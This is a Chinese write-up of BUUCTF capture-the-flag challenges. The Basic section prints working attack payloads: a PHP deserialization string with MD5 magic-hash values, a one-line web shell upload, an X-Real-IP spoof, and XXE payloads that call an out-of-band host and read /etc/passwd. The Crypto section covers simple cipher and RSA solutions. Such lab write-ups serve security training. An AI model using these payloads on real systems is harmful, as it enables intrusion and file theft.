Buuctf刷题Basic和Crypto 1day
Posted 吃饭饭睡觉觉
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Buuctf刷题Basic和Crypto 1day相关的知识,希望对你有一定的参考价值。
Basic:
BUU CODE REVIEW 1
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU
public $correct = "";
public $input = "";
public function __destruct()
try
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input)
echo file_get_contents("/flag");
catch (Exception $e)
if($_GET[pleaseget] === 1)
if($_POST[pleasepost] === 2)
if(md5($_POST[md51]) == md5($_POST[md52]) && $_POST[md51] != $_POST[md52])
unserialize($_POST[obj]);
解题思路:首先通过代码审计,发现我们需要用get方法传递pleaseget变量值为1,用post方法传递pleasepost变量值为1,然后用post方法传递md51和md52的内容不同,但是md5值相同,这里就要利用php弱语言特性,0e123会被当做科学计数法,0 * 10 x 123。然后进行代码序列化。
md5(‘QNKCDZO’)的结果是0e830400451993494058024219903391,所以需要找到一个字符串md5后的结果是0e开头后面都是数字的,如,240610708,s878926199a。
http://3855212a-8b8c-48b3-b93b-ef524374d84c.node4.buuoj.cn:81/?pleaseget=1
pleasepost=2&md51=QNKCDZO&md52=240610708&obj=O:3:"BUU":2:s:7:"correct";s:0:"";s:5:"input";R:2;
最后得到flag
BUU UPLOAD COURSE 1
直接上传一句话木马,用蚁剑连接即可
BUU BURP COURSE 1
看到“只能本地访问”这几个字首先想到X-Forwarded-For,发现此方法不通,所以试了一下X-Real-IP,发现可以
LFI Labs
猜测含有/flag文件
1、漏洞探测
第一步检测XML是否会被成功解析:如果页面输出了test,说明xml文件可以被解析
<?xml versinotallow="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<user><username>&xxe;</username><password>1234</password></user>
第二步检测服务器是否支持DTD引用外部实体:
<?xml versinotallow="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://l7t5obuz7jkisvn4ejuqnd3t1k7dv2.oastify.com/?a" >]>
<user><username>&xxe;</username><password>1234</password></user>
可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求。
如果支持引用外部实体,那么很有可能是存在xxe漏洞的。
漏洞利用
读取敏感文件
<?xml versinotallow="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>1234</password></user>
找到flag
AWD-Test1
上传一个图片发现框架用的thinkphp,利用其漏洞得到flag
PikaChu
Crypto:
password1
遇到这个题开始的时候无从下手,心想这是什么加密方式啊,但是看到有一个提醒key格式为keyXXXXXXXXXX,里面是一个十位数,而生日为19900315是八位数,名字正好为两位,所以猜测keyzs19900315,而提交格式为flag,所以修改为flagzs19900315
变异凯撒1
先用相关密码工具解密一波发现并没有规律
所以开始手工分析,看看是否有规律
加密密文:afZ_r9VYfScOeO_UL^RWUc
格式:flag
因为格式为flag,所以猜测前四个字符afz_解密后是flag
afz_的ascii为97、102、90、95
flag的ascii为102、108、97、103
可以看出上下两行分别相差5、6、7、8
按照这个规律
我们可以写一个脚本:
str=afZ_r9VYfScOeO_UL^RWUc
k=5
for i in str:
print(chr(ord(i)+k),end=)
k=k+1
#ord() 将字符转换成ASCII码
#chr() 将ASCII码转换成字符
得到flag为flagCaesar_variation
Quoted-printable1
可以看到这是Quoted-printable 编码,解码连接为http://www.mxcz.net/tools/QuotedPrintable.aspx,得到flag那你也很棒哦
Rabbit1
直接用Rabbit解密
http://www.jsons.cn/rabbitencrypt/
flagCute_Rabbit
篱笆墙的影子1
观察题目:felhaagvewtehtehfilnakgw,而要求提交的是flag格式,所以按照题目要求,前五个字符已知falg,从第一个字符开始,每隔一个字符记录一次,其实就是符合栅栏密码特征,解密为flagwethinkwehavetheflag
RSA1
查看题目
学习RSAtool2的使用:
1.Number Base 设置为十进制
2.注意:Public Exponent这里要使用16进制的数,如果公钥e=17的话,就应该填入十六进制的11
3.给出p,q,e的话直接填入,再点击Calc.D,获得d
4.给出的是n和e的话,输入n和e,点击Factor N(分解),得到p,q,再重复第3步就能得到d了,最后得到flag125631357777427553
注意e填进去是16进制,需要将17转hex得到11再填进去
丢失的MD5 1
看到代码很完整,而且最后是print des,符合python2的写法,所以用python2直接运行,得到flage9032994dabac08080091151380478a2
Alice与Bob1
下面是一个大整数:98554799767,请分解为两个素数,分解后,小的放前面,大的放后面,合成一个新的数字,进行md5的32位小写哈希,提交答案。
注意:得到的 flag 请包上 flag 提交
98554799767分解为了101999和966233,合成的新数字为101999966233,得到flagd450209323a847c8d01c6be47c81811a
解密网址:http://www.msxindl.com/tools/md5.asp
rsarsa 1
from Crypto.Util.number import *
from gmpy2 import iroot ,invert
e = 65537p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407n = p*q
#密文C = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034phi=(p-1)*(q-1)
d =invert(e,phi)
#求明文M = pow(C,d,n) #快速求幂取模运算print(M)
#得到flag5577446633554466577768879988
大帝的密码武器1
首先将下载的文件添加.zip的后缀名,然后就可以查看题目了:
公元前一百年,在罗马出生了一位对世界影响巨大的人物,他生前是罗马三巨头之一。他率先使用了一种简单的加密函,因此这种加密方法以他的名字命名。
以下密文被解开后可以获得一个有意义的单词:FRPHEVGL
你可以用这个相同的加密向量加密附件中的密文,作为答案进行提交。
对FRPHEVGL用rot13编码可以得到SECURITY,所以用rot13对ComeChina进行解码得到PbzrPuvan,最后提交flagPbzrPuvan(解码网址为:http://www.mxcz.net/tools/rot13.aspx)
Windows系统密码1
查看题目:
对ctf进行解密:
所以得到flaggood-luck
以上是关于Buuctf刷题Basic和Crypto 1day的主要内容,如果未能解决你的问题,请参考以下文章